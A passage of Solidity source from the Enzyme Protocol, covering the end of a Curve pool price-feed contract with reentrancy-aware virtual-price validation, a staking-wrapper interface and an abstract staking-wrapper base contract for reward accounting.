protected]> /// @notice Price feed for Curve pool tokens contract CurvePriceFeed is IDerivativePriceFeed, FundDeployerOwnerMixin { using SafeMath for uint256; event CurvePoolOwnerSet(address poolOwner); event DerivativeAdded(address indexed derivative, address indexed pool); event DerivativeRemoved(address indexed derivative); event InvariantProxyAssetForPoolSet(address indexed pool, address indexed invariantProxyAsset); event PoolRemoved(address indexed pool); event ValidatedVirtualPriceForPoolUpdated(address indexed pool, uint256 virtualPrice); uint256 private constant ADDRESS_PROVIDER_METAPOOL_FACTORY_ID = 3; uint256 private constant VIRTUAL_PRICE_DEVIATION_DIVISOR = 10000; uint256 private constant VIRTUAL_PRICE_UNIT = 10**18; ICurveAddressProvider private immutable ADDRESS_PROVIDER_CONTRACT; uint256 private immutable VIRTUAL_PRICE_DEVIATION_THRESHOLD; // We take one asset as representative of the pool's invariant, e.g., WETH for ETH-based pools. // Caching invariantProxyAssetDecimals in a packed storage slot // removes an additional external call and cold SLOAD operation during value lookups. struct PoolInfo { address invariantProxyAsset; // 20 bytes uint8 invariantProxyAssetDecimals; // 1 byte uint88 lastValidatedVirtualPrice; // 11 bytes (could safely be 8-10 bytes) } address private curvePoolOwner; // Pool tokens and liquidity gauge tokens are treated the same for pricing purposes mapping(address => address) private derivativeToPool; mapping(address => PoolInfo) private poolToPoolInfo; // Not necessary for this contract, but used by Curve liquidity adapters mapping(address => address) private poolToLpToken; constructor( address _fundDeployer, address _addressProvider, address _poolOwner, uint256 _virtualPriceDeviationThreshold ) public FundDeployerOwnerMixin(_fundDeployer) { ADDRESS_PROVIDER_CONTRACT = ICurveAddressProvider(_addressProvider); VIRTUAL_PRICE_DEVIATION_THRESHOLD = _virtualPriceDeviationThreshold; __setCurvePoolOwner(_poolOwner); } /// @notice Converts a given amount of a derivative to its underlying asset values /// @param _derivative The derivative to convert /// @param _derivativeAmount The amount of the derivative to convert /// @return underlyings_ The underlying assets for the _derivative /// @return underlyingAmounts_ The amount of each underlying asset for the equivalent derivative amount function calcUnderlyingValues(address _derivative, uint256 _derivativeAmount) external override returns (address[] memory underlyings_, uint256[] memory underlyingAmounts_) { address pool = getPoolForDerivative(_derivative); require(pool != address(0), "calcUnderlyingValues: _derivative is not supported"); PoolInfo memory poolInfo = getPoolInfo(pool); uint256 virtualPrice = ICurveLiquidityPool(pool).get_virtual_price(); // Validate and update the cached lastValidatedVirtualPrice if: /// 1. a pool requires virtual price validation, and /// 2. the unvalidated `virtualPrice` deviates from the PoolInfo.lastValidatedVirtualPrice value /// by more than the tolerated "deviation threshold" (e.g., 1%). /// This is an optimization to save gas on validating non-reentrancy during the virtual price query, /// since the virtual price increases relatively slowly as the pool accrues fees over time. if ( poolInfo.lastValidatedVirtualPrice > 0 && __virtualPriceDiffExceedsThreshold( virtualPrice, uint256(poolInfo.lastValidatedVirtualPrice) ) ) { __updateValidatedVirtualPrice(pool, virtualPrice); } underlyings_ = new address[](1); underlyings_[0] = poolInfo.invariantProxyAsset; underlyingAmounts_ = new uint256[](1); if (poolInfo.invariantProxyAssetDecimals == 18) { underlyingAmounts_[0] = _derivativeAmount.mul(virtualPrice).div(VIRTUAL_PRICE_UNIT); } else { underlyingAmounts_[0] = _derivativeAmount .mul(virtualPrice) .mul(10**uint256(poolInfo.invariantProxyAssetDecimals)) .div(VIRTUAL_PRICE_UNIT) .div(VIRTUAL_PRICE_UNIT); } return (underlyings_, underlyingAmounts_); } /// @notice Checks if an asset is supported by the price feed /// @param _asset The asset to check /// @return isSupported_ True if the asset is supported function isSupportedAsset(address _asset) external view override returns (bool isSupported_) { return getPoolForDerivative(_asset) != address(0); } ////////////////////////// // DERIVATIVES REGISTRY // ////////////////////////// // addPools() is the primary action to add validated lpTokens and gaugeTokens as derivatives. // addGaugeTokens() can be used to add validated gauge tokens for an already-registered pool. // addPoolsWithoutValidation() and addGaugeTokensWithoutValidation() can be used as overrides. // It is possible to remove all pool data and derivatives (separately). // It is possible to update the invariant proxy asset for any pool. // It is possible to update whether the pool's virtual price is reenterable. /// @notice Adds validated gaugeTokens to the price feed /// @param _gaugeTokens The ordered gauge tokens /// @param _pools The ordered pools corresponding to _gaugeTokens /// @dev All params are corresponding, equal length arrays. /// _pools must already have been added via an addPools~() function function addGaugeTokens(address[] calldata _gaugeTokens, address[] calldata _pools) external onlyFundDeployerOwner { ICurveRegistryMain registryContract = __getRegistryMainContract(); ICurveRegistryMetapoolFactory factoryContract = __getRegistryMetapoolFactoryContract(); for (uint256 i; i < _gaugeTokens.length; i++) { if (factoryContract.get_gauge(_pools[i]) != _gaugeTokens[i]) { __validateGaugeMainRegistry(_gaugeTokens[i], _pools[i], registryContract); } } __addGaugeTokens(_gaugeTokens, _pools); } /// @notice Adds unvalidated gaugeTokens to the price feed /// @param _gaugeTokens The ordered gauge tokens /// @param _pools The ordered pools corresponding to _gaugeTokens /// @dev Should only be used if something is incorrectly failing in the registry validation, /// or if gauge tokens exist outside of the registries supported by this price feed, /// e.g., a wrapper for non-tokenized gauges. /// All params are corresponding, equal length arrays. /// _pools must already have been added via an addPools~() function. function addGaugeTokensWithoutValidation( address[] calldata _gaugeTokens, address[] calldata _pools ) external onlyFundDeployerOwner { __addGaugeTokens(_gaugeTokens, _pools); } /// @notice Adds validated Curve pool info, lpTokens, and gaugeTokens to the price feed /// @param _pools The ordered Curve pools /// @param _invariantProxyAssets The ordered invariant proxy assets corresponding to _pools, /// e.g., WETH for ETH-based pools /// @param _reentrantVirtualPrices The ordered flags corresponding to _pools, /// true if the get_virtual_price() function is potentially reenterable /// @param _lpTokens The ordered lpToken corresponding to _pools /// @param _gaugeTokens The ordered gauge token corresponding to _pools /// @dev All params are corresponding, equal length arrays. /// address(0) can be used for any _gaugeTokens index to omit the gauge (e.g., no gauge token exists). /// _lpTokens is not technically necessary since it is knowable from a Curve registry, /// but it's better to use Curve's upgradable contracts as an input validation rather than fully-trusted. function addPools( address[] calldata _pools, address[] calldata _invariantProxyAssets, bool[] calldata _reentrantVirtualPrices, address[] calldata _lpTokens, address[] calldata _gaugeTokens ) external onlyFundDeployerOwner { ICurveRegistryMain registryContract = __getRegistryMainContract(); ICurveRegistryMetapoolFactory factoryContract = __getRegistryMetapoolFactoryContract(); for (uint256 i; i < _pools.length; i++) { // Validate the lpToken and gauge token based on registry if (_lpTokens[i] == registryContract.get_lp_token(_pools[i])) { // Main registry if (_gaugeTokens[i] != address(0)) { __validateGaugeMainRegistry(_gaugeTokens[i], _pools[i], registryContract); } } else if (_lpTokens[i] == _pools[i] && factoryContract.get_n_coins(_pools[i]) > 0) { // Metapool factory registry // lpToken and pool are the same address // get_n_coins() is arbitrarily used to validate the pool is on this registry if (_gaugeTokens[i] != address(0)) { __validateGaugeMetapoolFactoryRegistry( _gaugeTokens[i], _pools[i], factoryContract ); } } else { revert("addPools: Invalid inputs"); } } __addPools( _pools, _invariantProxyAssets, _reentrantVirtualPrices, _lpTokens, _gaugeTokens ); } /// @notice Adds unvalidated Curve pool info, lpTokens, and gaugeTokens to the price feed /// @param _pools The ordered Curve pools /// @param _invariantProxyAssets The ordered invariant proxy assets corresponding to _pools, /// e.g., WETH for ETH-based pools /// @param _reentrantVirtualPrices The ordered flags corresponding to _pools, /// true if the get_virtual_price() function is potentially reenterable /// @param _lpTokens The ordered lpToken corresponding to _pools /// @param _gaugeTokens The ordered gauge token corresponding to _pools /// @dev Should only be used if something is incorrectly failing in the registry validation, /// or if pools exist outside of the registries supported by this price feed. /// All params are corresponding, equal length arrays. /// address(0) can be used for any _gaugeTokens index to omit the gauge (e.g., no gauge token exists). function addPoolsWithoutValidation( address[] calldata _pools, address[] calldata _invariantProxyAssets, bool[] calldata _reentrantVirtualPrices, address[] calldata _lpTokens, address[] calldata _gaugeTokens ) external onlyFundDeployerOwner { __addPools( _pools, _invariantProxyAssets, _reentrantVirtualPrices, _lpTokens, _gaugeTokens ); } /// @notice Removes derivatives from the price feed /// @param _derivatives The derivatives to remove /// @dev Unlikely to be needed, just in case of bad storage entry. /// Can remove both lpToken and gaugeToken from derivatives list, /// but does not remove lpToken from pool info cache. function removeDerivatives(address[] calldata _derivatives) external onlyFundDeployerOwner { for (uint256 i; i < _derivatives.length; i++) { delete derivativeToPool[_derivatives[i]]; emit DerivativeRemoved(_derivatives[i]); } } /// @notice Removes pools from the price feed /// @param _pools The pools to remove /// @dev Unlikely to be needed, just in case of bad storage entry. /// Does not remove lpToken nor gauge tokens from derivatives list. function removePools(address[] calldata _pools) external onlyFundDeployerOwner { for (uint256 i; i < _pools.length; i++) { delete poolToPoolInfo[_pools[i]]; delete poolToLpToken[_pools[i]]; emit PoolRemoved(_pools[i]); } } /// @notice Sets the Curve pool owner /// @param _nextPoolOwner The next pool owner value function setCurvePoolOwner(address _nextPoolOwner) external onlyFundDeployerOwner { __setCurvePoolOwner(_nextPoolOwner); } /// @notice Updates the PoolInfo for the given pools /// @param _pools The ordered pools /// @param _invariantProxyAssets The ordered invariant asset proxy assets /// @param _reentrantVirtualPrices The ordered flags corresponding to _pools, /// true if the get_virtual_price() function is potentially reenterable function updatePoolInfo( address[] calldata _pools, address[] calldata _invariantProxyAssets, bool[] calldata _reentrantVirtualPrices ) external onlyFundDeployerOwner { require( _pools.length == _invariantProxyAssets.length && _pools.length == _reentrantVirtualPrices.length, "updatePoolInfo: Unequal arrays" ); for (uint256 i; i < _pools.length; i++) { __setPoolInfo(_pools[i], _invariantProxyAssets[i], _reentrantVirtualPrices[i]); } } // PRIVATE FUNCTIONS /// @dev Helper to add a derivative to the price feed function __addDerivative(address _derivative, address _pool) private { require( getPoolForDerivative(_derivative) == address(0), "__addDerivative: Already exists" ); // Assert that the assumption that all Curve pool tokens are 18 decimals require(ERC20(_derivative).decimals() == 18, "__addDerivative: Not 18-decimal"); derivativeToPool[_derivative] = _pool; emit DerivativeAdded(_derivative, _pool); } /// @dev Helper for common logic in addGauges~() functions function __addGaugeTokens(address[] calldata _gaugeTokens, address[] calldata _pools) private { require(_gaugeTokens.length == _pools.length, "__addGaugeTokens: Unequal arrays"); for (uint256 i; i < _gaugeTokens.length; i++) { require( getLpTokenForPool(_pools[i]) != address(0), "__addGaugeTokens: Pool not registered" ); // Not-yet-registered _gaugeTokens[i] tested in __addDerivative() __addDerivative(_gaugeTokens[i], _pools[i]); } } /// @dev Helper for common logic in addPools~() functions function __addPools( address[] calldata _pools, address[] calldata _invariantProxyAssets, bool[] calldata _reentrantVirtualPrices, address[] calldata _lpTokens, address[] calldata _gaugeTokens ) private { require( _pools.length == _invariantProxyAssets.length && _pools.length == _reentrantVirtualPrices.length && _pools.length == _lpTokens.length && _pools.length == _gaugeTokens.length, "__addPools: Unequal arrays" ); for (uint256 i; i < _pools.length; i++) { // Redundant for validated addPools() require(_lpTokens[i] != address(0), "__addPools: Empty lpToken"); // Empty _pools[i] reverts during __validatePoolCompatibility // Empty _invariantProxyAssets[i] reverts during __setPoolInfo // Validate new pool's compatibility with price feed require(getLpTokenForPool(_pools[i]) == address(0), "__addPools: Already registered"); __validatePoolCompatibility(_pools[i]); // Register pool info __setPoolInfo(_pools[i], _invariantProxyAssets[i], _reentrantVirtualPrices[i]); poolToLpToken[_pools[i]] = _lpTokens[i]; // Add lpToken and gauge token as derivatives __addDerivative(_lpTokens[i], _pools[i]); if (_gaugeTokens[i] != address(0)) { __addDerivative(_gaugeTokens[i], _pools[i]); } } } /// @dev Helper to get the main Curve registry contract function __getRegistryMainContract() private view returns (ICurveRegistryMain contract_) { return ICurveRegistryMain(ADDRESS_PROVIDER_CONTRACT.get_registry()); } /// @dev Helper to get the Curve metapool factory registry contract function __getRegistryMetapoolFactoryContract() private view returns (ICurveRegistryMetapoolFactory contract_) { return ICurveRegistryMetapoolFactory( ADDRESS_PROVIDER_CONTRACT.get_address(ADDRESS_PROVIDER_METAPOOL_FACTORY_ID) ); } /// @dev Helper to call a known non-reenterable pool function function __makeNonReentrantPoolCall(address _pool) private { ICurvePoolOwner(getCurvePoolOwner()).withdraw_admin_fees(_pool); } /// @dev Helper to set the Curve pool owner function __setCurvePoolOwner(address _nextPoolOwner) private { curvePoolOwner = _nextPoolOwner; emit CurvePoolOwnerSet(_nextPoolOwner); } /// @dev Helper to set the PoolInfo for a given pool function __setPoolInfo( address _pool, address _invariantProxyAsset, bool _reentrantVirtualPrice ) private { uint256 lastValidatedVirtualPrice; if (_reentrantVirtualPrice) { // Validate the virtual price by calling a non-reentrant pool function __makeNonReentrantPoolCall(_pool); lastValidatedVirtualPrice = ICurveLiquidityPool(_pool).get_virtual_price(); emit ValidatedVirtualPriceForPoolUpdated(_pool, lastValidatedVirtualPrice); } poolToPoolInfo[_pool] = PoolInfo({ invariantProxyAsset: _invariantProxyAsset, invariantProxyAssetDecimals: ERC20(_invariantProxyAsset).decimals(), lastValidatedVirtualPrice: uint88(lastValidatedVirtualPrice) }); emit InvariantProxyAssetForPoolSet(_pool, _invariantProxyAsset); } /// @dev Helper to update the last validated virtual price for a given pool function __updateValidatedVirtualPrice(address _pool, uint256 _virtualPrice) private { // Validate the virtual price by calling a non-reentrant pool function __makeNonReentrantPoolCall(_pool); // _virtualPrice is now considered valid poolToPoolInfo[_pool].lastValidatedVirtualPrice = uint88(_virtualPrice); emit ValidatedVirtualPriceForPoolUpdated(_pool, _virtualPrice); } /// @dev Helper to validate a gauge on the main Curve registry function __validateGaugeMainRegistry( address _gauge, address _pool, ICurveRegistryMain _mainRegistryContract ) private view { (address[10] memory gauges, ) = _mainRegistryContract.get_gauges(_pool); for (uint256 i; i < gauges.length; i++) { if (_gauge == gauges[i]) { return; } } revert("__validateGaugeMainRegistry: Invalid gauge"); } /// @dev Helper to validate a gauge on the Curve metapool factory registry function __validateGaugeMetapoolFactoryRegistry( address _gauge, address _pool, ICurveRegistryMetapoolFactory _metapoolFactoryRegistryContract ) private view { require( _gauge == _metapoolFactoryRegistryContract.get_gauge(_pool), "__validateGaugeMetapoolFactoryRegistry: Invalid gauge" ); } /// @dev Helper to validate a pool's compatibility with the price feed. /// Pool must implement expected get_virtual_price() function. function __validatePoolCompatibility(address _pool) private view { require( ICurveLiquidityPool(_pool).get_virtual_price() > 0, "__validatePoolCompatibility: Incompatible" ); } /// @dev Helper to check if the difference between lastValidatedVirtualPrice and the current virtual price /// exceeds the allowed threshold before the current virtual price must be validated and stored function __virtualPriceDiffExceedsThreshold( uint256 _currentVirtualPrice, uint256 _lastValidatedVirtualPrice ) private view returns (bool exceedsThreshold_) { // Uses the absolute delta between current and last validated virtual prices for the rare // case where a virtual price might have decreased (e.g., rounding, slashing, yet unknown // manipulation vector, etc) uint256 absDiff; if (_currentVirtualPrice > _lastValidatedVirtualPrice) { absDiff = _currentVirtualPrice.sub(_lastValidatedVirtualPrice); } else { absDiff = _lastValidatedVirtualPrice.sub(_currentVirtualPrice); } return absDiff > _lastValidatedVirtualPrice.mul(VIRTUAL_PRICE_DEVIATION_THRESHOLD).div( VIRTUAL_PRICE_DEVIATION_DIVISOR ); } /////////////////// // STATE GETTERS // /////////////////// /// @notice Gets the Curve pool owner /// @return poolOwner_ The Curve pool owner function getCurvePoolOwner() public view returns (address poolOwner_) { return curvePoolOwner; } /// @notice Gets the lpToken for a given pool /// @param _pool The pool /// @return lpToken_ The lpToken function getLpTokenForPool(address _pool) public view returns (address lpToken_) { return poolToLpToken[_pool]; } /// @notice Gets the stored PoolInfo for a given pool /// @param _pool The pool /// @return poolInfo_ The PoolInfo function getPoolInfo(address _pool) public view returns (PoolInfo memory poolInfo_) { return poolToPoolInfo[_pool]; } /// @notice Gets the pool for a given derivative /// @param _derivative The derivative /// @return pool_ The pool function getPoolForDerivative(address _derivative) public view returns (address pool_) { return derivativeToPool[_derivative]; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; pragma experimental ABIEncoderV2; /// @title IStakingWrapper interface /// @author Enzyme Council <[email protected]> interface IStakingWrapper { struct TotalHarvestData { uint128 integral; uint128 lastCheckpointBalance; } struct UserHarvestData { uint128 integral; uint128 claimableReward; } function claimRewardsFor(address _for) external returns (address[] memory rewardTokens_, uint256[] memory claimedAmounts_); function deposit(uint256 _amount) external; function depositTo(address _to, uint256 _amount) external; function withdraw(uint256 _amount, bool _claimRewards) external returns (address[] memory rewardTokens_, uint256[] memory claimedAmounts_); function withdrawTo( address _to, uint256 _amount, bool _claimRewardsToHolder ) external; function withdrawToOnBehalf( address _onBehalf, address _to, uint256 _amount, bool _claimRewardsToHolder ) external; // STATE GETTERS function getRewardTokenAtIndex(uint256 _index) external view returns (address rewardToken_); function getRewardTokenCount() external view returns (uint256 count_); function getRewardTokens() external view returns (address[] memory rewardTokens_); function getTotalHarvestDataForRewardToken(address _rewardToken) external view returns (TotalHarvestData memory totalHarvestData_); function getUserHarvestDataForRewardToken(address _user, address _rewardToken) external view returns (UserHarvestData memory userHarvestData_); function isPaused() external view returns (bool isPaused_); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "../../utils/AddressArrayLib.sol"; import "./IStakingWrapper.sol"; /// @title StakingWrapperBase Contract /// @author Enzyme Council <[email protected]> /// @notice A base contract for staking wrappers /// @dev Can be used as a base for both standard deployments and proxy targets. /// Draws on Convex's ConvexStakingWrapper implementation (https://github.com/convex-eth/platform/blob/main/contracts/contracts/wrappers/ConvexStakingWrapper.sol), /// which is based on Curve.fi gauge wrappers (https://github.com/curvefi/curve-dao-contracts/tree/master/contracts/gauges/wrappers) abstract contract StakingWrapperBase is IStakingWrapper, ERC20, ReentrancyGuard { using AddressArrayLib for address[]; using SafeERC20 for ERC20; using SafeMath for uint256; event Deposited(address indexed from, address indexed to, uint256 amount); event PauseToggled(bool isPaused); event RewardsClaimed( address caller, address indexed user, address[] rewardTokens, uint256[] claimedAmounts ); event RewardTokenAdded(address token); event TotalHarvestIntegralUpdated(address indexed rewardToken, uint256 integral); event TotalHarvestLastCheckpointBalanceUpdated( address indexed rewardToken, uint256 lastCheckpointBalance ); event UserHarvestUpdated( address indexed user, address indexed rewardToken, uint256 integral, uint256 claimableReward ); event Withdrawn( address indexed caller, address indexed from, address indexed to, uint256 amount ); uint8 private constant DEFAULT_DECIMALS = 18; uint256 private constant INTEGRAL_PRECISION = 1e18; address internal immutable OWNER; // Paused stops new deposits and checkpoints bool private paused; address[] private rewardTokens; mapping(address => TotalHarvestData) private rewardTokenToTotalHarvestData; mapping(address => mapping(address => UserHarvestData)) private rewardTokenToUserToHarvestData; modifier onlyOwner() { require(msg.sender == OWNER, "Only owner callable"); _; } constructor( address _owner, string memory _tokenName, string memory _tokenSymbol ) public ERC20(_tokenName, _tokenSymbol) { OWNER = _owner; } /// @notice Toggles pause for deposit and harvesting new rewards /// @param _isPaused True if next state is paused, false if unpaused function togglePause(bool _isPaused) external onlyOwner { paused = _isPaused; emit PauseToggled(_isPaused); } //////////////////////////// // DEPOSITOR INTERACTIONS // //////////////////////////// // CLAIM REWARDS /// @notice Claims all rewards for a given account /// @param _for The account for which to claim rewards /// @return rewardTokens_ The reward tokens /// @return claimedAmounts_ The reward token amounts claimed /// @dev Can be called off-chain to simulate the total harvestable rewards for a particular user function claimRewardsFor(address _for) external override nonReentrant returns (address[] memory rewardTokens_, uint256[] memory claimedAmounts_) { return __checkpointAndClaim(_for); } // DEPOSIT /// @notice Deposits tokens to be staked, minting staking token to sender /// @param _amount The amount of tokens to deposit function deposit(uint256 _amount) external override { __deposit(msg.sender, msg.sender, _amount); } /// @notice Deposits tokens to be staked, minting staking token to a specified account /// @param _to The account to receive staking tokens /// @param _amount The amount of tokens to deposit function depositTo(address _to, uint256 _amount) external override { __deposit(msg.sender, _to, _amount); } /// @dev Helper to deposit tokens to be staked function __deposit( address _from, address _to, uint256 _amount ) private nonReentrant { require(!isPaused(), "__deposit: Paused"); // Checkpoint before minting __checkpoint([_to, address(0)]); _mint(_to, _amount); __depositLogic(_from, _amount); emit Deposited(_from, _to, _amount); } // WITHDRAWAL /// @notice Withdraws staked tokens, returning tokens to the sender, and optionally claiming rewards /// @param _amount The amount of tokens to withdraw /// @param _claimRewards True if accrued rewards should be claimed /// @return rewardTokens_ The reward tokens /// @return claimedAmounts_ The reward token amounts claimed /// @dev Setting `_claimRewards` to true will save gas over separate calls to withdraw + claim function withdraw(uint256 _amount, bool _claimRewards) external override returns (address[] memory rewardTokens_, uint256[] memory claimedAmounts_) { return __withdraw(msg.sender, msg.sender, _amount, _claimRewards); } /// @notice Withdraws staked tokens, returning tokens to a specified account, /// and optionally claims rewards to the staked token holder /// @param _to The account to receive tokens /// @param _amount The amount of tokens to withdraw function withdrawTo( address _to, uint256 _amount, bool _claimRewardsToHolder ) external override { __withdraw(msg.sender, _to, _amount, _claimRewardsToHolder); } /// @notice Withdraws staked tokens on behalf of AccountA, returning tokens to a specified AccountB, /// and optionally claims rewards to the staked token holder /// @param _onBehalf The account on behalf to withdraw /// @param _to The account to receive tokens /// @param _amount The amount of tokens to withdraw /// @dev The caller must have an adequate ERC20.allowance() for _onBehalf function withdrawToOnBehalf( address _onBehalf, address _to, uint256 _amount, bool _claimRewardsToHolder ) external override { // Validate and reduce sender approval _approve(_onBehalf, msg.sender, allowance(_onBehalf, msg.sender).sub(_amount)); __withdraw(_onBehalf, _to, _amount, _claimRewardsToHolder); } /// @dev Helper to withdraw staked tokens function __withdraw( address _from, address _to, uint256 _amount, bool _claimRewards ) private nonReentrant returns (address[] memory rewardTokens_, uint256[] memory claimedAmounts_) { // Checkpoint before burning if (_claimRewards) { (rewardTokens_, claimedAmounts_) = __checkpointAndClaim(_from); } else { __checkpoint([_from, address(0)]); } _burn(_from, _amount); __withdrawLogic(_to, _amount); emit Withdrawn(msg.sender, _from, _to, _amount); return (rewardTokens_, claimedAmounts_); } ///////////// // REWARDS // ///////////// // Rewards tokens are added by the inheriting contract. Rewards tokens should be added, but not removed. // If new rewards tokens need to be added over time, that logic must be handled by the inheriting contract, // and can make use of __harvestRewardsLogic() if necessary // INTERNAL FUNCTIONS /// @dev Helper to add new reward tokens. Silently ignores duplicates. function __addRewardToken(address _rewardToken) internal { if (!rewardTokens.contains(_rewardToken)) { rewardTokens.push(_rewardToken); emit RewardTokenAdded(_rewardToken); } } // PRIVATE FUNCTIONS /// @dev Helper to calculate an unaccounted for reward amount due to a user based on integral values function __calcClaimableRewardForIntegralDiff( address _account, uint256 _totalHarvestIntegral, uint256 _userHarvestIntegral ) private view returns (uint256 claimableReward_) { return balanceOf(_account).mul(_totalHarvestIntegral.sub(_userHarvestIntegral)).div( INTEGRAL_PRECISION ); } /// @dev Helper to calculate an unaccounted for integral amount based on checkpoint balance diff function __calcIntegralForBalDiff( uint256 _supply, uint256 _currentBalance, uint256 _lastCheckpointBalance ) private pure returns (uint256 integral_) { if (_supply > 0) { uint256 balDiff = _currentBalance.sub(_lastCheckpointBalance); if (balDiff > 0) { return balDiff.mul(INTEGRAL_PRECISION).div(_supply); } } return 0; } /// @dev Helper to checkpoint harvest data for specified accounts. /// Harvests all rewards prior to checkpoint. function __checkpoint(address[2] memory _accounts) private { // If paused, continue to checkpoint, but don't attempt to get new rewards if (!isPaused()) { __harvestRewardsLogic(); } uint256 supply = totalSupply(); uint256 rewardTokensLength = rewardTokens.length; for (uint256 i; i < rewardTokensLength; i++) { __updateHarvest(rewardTokens[i], _accounts, supply); } } /// @dev Helper to checkpoint harvest data for specified accounts. /// Harvests all rewards prior to checkpoint. function __checkpointAndClaim(address _account) private returns (address[] memory rewardTokens_, uint256[] memory claimedAmounts_) { // If paused, continue to checkpoint, but don't attempt to get new rewards if (!isPaused()) { __harvestRewardsLogic(); } uint256 supply = totalSupply(); rewardTokens_ = rewardTokens; claimedAmounts_ = new uint256[](rewardTokens_.length); for (uint256 i; i < rewardTokens_.length; i++) { claimedAmounts_[i] = __updateHarvestAndClaim(rewardTokens_[i], _account, supply); } emit RewardsClaimed(msg.sender, _account, rewardTokens_, claimedAmounts_); return (rewardTokens_, claimedAmounts_); } /// @dev Helper to update harvest data function __updateHarvest( address _rewardToken, address[2] memory _accounts, uint256 _supply ) private { TotalHarvestData storage totalHarvestData = rewardTokenToTotalHarvestData[_rewardToken]; uint256 totalIntegral = totalHarvestData.integral; uint256 bal = ERC20(_rewardToken).balanceOf(address(this)); uint256 integralToAdd = __calcIntegralForBalDiff( _supply, bal, totalHarvestData.lastCheckpointBalance ); if (integralToAdd > 0) { totalIntegral = totalIntegral.add(integralToAdd); totalHarvestData.integral = uint128(totalIntegral); emit TotalHarvestIntegralUpdated(_rewardToken, totalIntegral); totalHarvestData.lastCheckpointBalance = uint128(bal); emit TotalHarvestLastCheckpointBalanceUpdated(_rewardToken, bal); } for (uint256 i; i < _accounts.length; i++) { // skip address(0), passed in upon mint and burn if (_accounts[i] == address(0)) continue; UserHarvestData storage userHarvestData = rewardTokenToUserToHarvestData[_rewardToken][_accounts[i]]; uint256 userIntegral = userHarvestData.integral; if (userIntegral < totalIntegral) { uint256 claimableReward = uint256(userHarvestData.claimableReward).add( __calcClaimableRewardForIntegralDiff(_accounts[i], totalIntegral, userIntegral) ); userHarvestData.claimableReward = uint128(claimableReward); userHarvestData.integral = uint128(totalIntegral); emit UserHarvestUpdated( _accounts[i], _rewardToken, totalIntegral, claimableReward ); } } } /// @dev Helper to update harvest data and claim all rewards to holder function __updateHarvestAndClaim( address _rewardToken, address _account, uint256 _supply ) private returns (uint256 claimedAmount_) { TotalHarvestData storage totalHarvestData = rewardTokenToTotalHarvestData[_rewardToken]; uint256 totalIntegral = totalHarvestData.integral; uint256 integralToAdd = __calcIntegralForBalDiff( _supply, ERC20(_rewardToken).balanceOf(address(this)), totalHarvestData.lastCheckpointBalance ); if (integralToAdd > 0) { totalIntegral = totalIntegral.add(integralToAdd); totalHarvestData.integral = uint128(totalIntegral); emit TotalHarvestIntegralUpdated(_rewardToken, totalIntegral); } UserHarvestData storage userHarvestData = rewardTokenToUserToHarvestData[_rewardToken][_account]; uint256 userIntegral = userHarvestData.integral; claimedAmount_ = userHarvestData.claimableReward; if (userIntegral < totalIntegral) { userHarvestData.integral = uint128(totalIntegral); claimedAmount_ = claimedAmount_.add( __calcClaimableRewardForIntegralDiff(_account, totalIntegral, userIntegral) ); emit UserHarvestUpdated(_account, _rewardToken, totalIntegral, claimedAmount_); } if (claimedAmount_ > 0) { userHarvestData.claimableReward = 0; ERC20(_rewardToken).safeTransfer(_account, claimedAmount_); emit UserHarvestUpdated(_account, _rewardToken, totalIntegral, 0); } // Repeat balance lookup since the reward token could have irregular transfer behavior uint256 finalBal = ERC20(_rewardToken).balanceOf(address(this)); if (finalBal < totalHarvestData.lastCheckpointBalance) { totalHarvestData.lastCheckpointBalance = uint128(finalBal); emit TotalHarvestLastCheckpointBalanceUpdated(_rewardToken, finalBal); } return claimedAmount_; } //////////////////////////////// // REQUIRED VIRTUAL FUNCTIONS // //////////////////////////////// /// @dev Logic to be run during a deposit, specific to the integrated protocol. /// Do not mint staking tokens, which already happens during __deposit(). function __depositLogic(address _onBehalf, uint256 _amount) internal virtual; /// @dev Logic to be run during a checkpoint to harvest new rewards, specific to the integrated protocol. /// Can also be used to add new rewards tokens dynamically. /// Do not checkpoint, only harvest the rewards. function __harvestRewardsLogic() internal virtual; /// @dev Logic to be run during a withdrawal, specific to the integrated protocol. /// Do not burn staking tokens, which already happens during __withdraw(). function __withdrawLogic(address _to, uint256 _amount) internal virtual; ///////////////////// // ERC20 OVERRIDES // ///////////////////// /// @notice Gets the token decimals /// @return decimals_ The token decimals /// @dev Implementing contracts should override to set different decimals function decimals() public view virtual override returns (uint8 decimals_) { return DEFAULT_DECIMALS; } /// @dev Overrides ERC20._transfer() in order to checkpoint sender and recipient pre-transfer rewards function _transfer( address _from, address _to, uint256 _amount ) internal override nonReentrant { __checkpoint([_from, _to]); super._transfer(_from, _to, _amount); } /////////////////// // STATE GETTERS // /////////////////// /// @notice Gets the reward token at a particular index /// @return rewardToken_ The reward token address function getRewardTokenAtIndex(uint256 _index) public view override returns (address rewardToken_) { return rewardTokens[_index]; } /// @notice Gets the count of reward tokens being harvested /// @return count_ The count function getRewardTokenCount() public view override returns (uint256 count_) { return rewardTokens.length; } /// @notice Gets all reward tokens being harvested /// @return rewardTokens_ The reward tokens function getRewardTokens() public view override returns (address[] memory rewardTokens_) { return rewardTokens; } /// @notice Gets the TotalHarvestData for a specified reward token /// @param _rewardToken The reward token /// @return totalHarvestData_ The TotalHarvestData function getTotalHarvestDataForRewardToken(address _rewardToken) public view override returns (TotalHarvestData memory totalHarvestData_) { return rewardTokenToTotalHarvestData[_rewardToken]; } /// @notice Gets the UserHarvestData for a specified account and reward token /// @param _user The account /// @param _rewardToken The reward token /// @return userHarvestData_ The UserHarvestData function getUserHarvestDataForRewardToken(address _user, address _rewardToken) public view override returns (UserHarvestData memory userHarvestData_) { return rewardTokenToUserToHarvestData[_rewardToken][_user]; } /// @notice Checks if deposits and new reward harvesting are paused /// @return isPaused_ True if paused function isPaused() public view override returns (bool isPaused_) { return paused; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "./StakingWrapperBase.sol"; /// @title 